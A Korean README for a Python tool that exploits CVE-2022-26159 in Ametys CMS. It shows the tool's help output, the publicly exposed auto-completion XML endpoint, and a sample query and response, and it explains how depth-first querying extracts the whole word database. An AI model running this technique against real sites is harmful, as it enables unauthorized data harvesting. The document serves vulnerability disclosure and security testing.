
Ametys CMS의 자동 완성 플러그인에 저장된 모든 데이터를 로컬 sqlite 데이터베이스 파일로 자동으로 덤프하는 Python 익스플로잇입니다.
Ametys CMS의 자동 완성 플러그인에 저장된 모든 데이터를 로컬 sqlite 데이터베이스 파일로 자동 덤프하는 Python 익스플로잇입니다.

$ ./CVE-2022-26159-Ametys-Autocompletion-XML.py -h
CVE-2022-26159-Ametys-Autocompletion-XML v1.1 - by @podalirius
usage: CVE-2022-26159-Ametys-Autocompletion-XML.py [-h] -t TARGET [-H HEADERS] [-k] [-v | -q] [--no-colors]
Description message
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
arg1 help message
-H HEADERS, --header HEADERS
Specify HTTP headers to use in requests. (e.g., --header "Header1: Value1" --header "Header2: Value2")
-k, --insecure Disable SSL/TLS warnings and certificate verification.
-v, --verbose Verbose mode. (default: False)
-q, --quiet Quiet mode. (default: False)
--no-colors Disables colored output. (default: False)
Ametys CMS <= 4.4.9의 자동 완성 플러그인은 다음 주소에서 단어 목록이 포함된 XML 파일을 공개적으로 노출합니다:
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml
이 데이터베이스에 요청을 수행하려면 공격자는 q(쿼리) 매개변수에 단어의 시작 부분을 입력하기만 하면 됩니다:
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml?q=adm
그러면 자동 완성 플러그인이 adm(쿼리에서)으로 시작하는 처음 10개의 일치하는 단어를 XML 파일로 반환합니다:
<?xml version="1.0" encoding="UTF-8"?>
<auto-completion>
<item>administrateur</item>
<item>administrateurs</item>
<item>administratif</item>
<item>administratifs</item>
<item>administration</item>
<item>administrations</item>
<item>administrative</item>
<item>administratives</item>
<item>administres</item>
<item>admission</item>
</auto-completion>
이를 염두에 두고, 공격자는 API에 대한 깊이 우선 탐색을 수행하여 그 내용을 모두 추출하기만 하면 됩니다.
풀 리퀘스트를 환영합니다. 다른 기능을 추가하고 싶다면 이슈를 열어 주세요.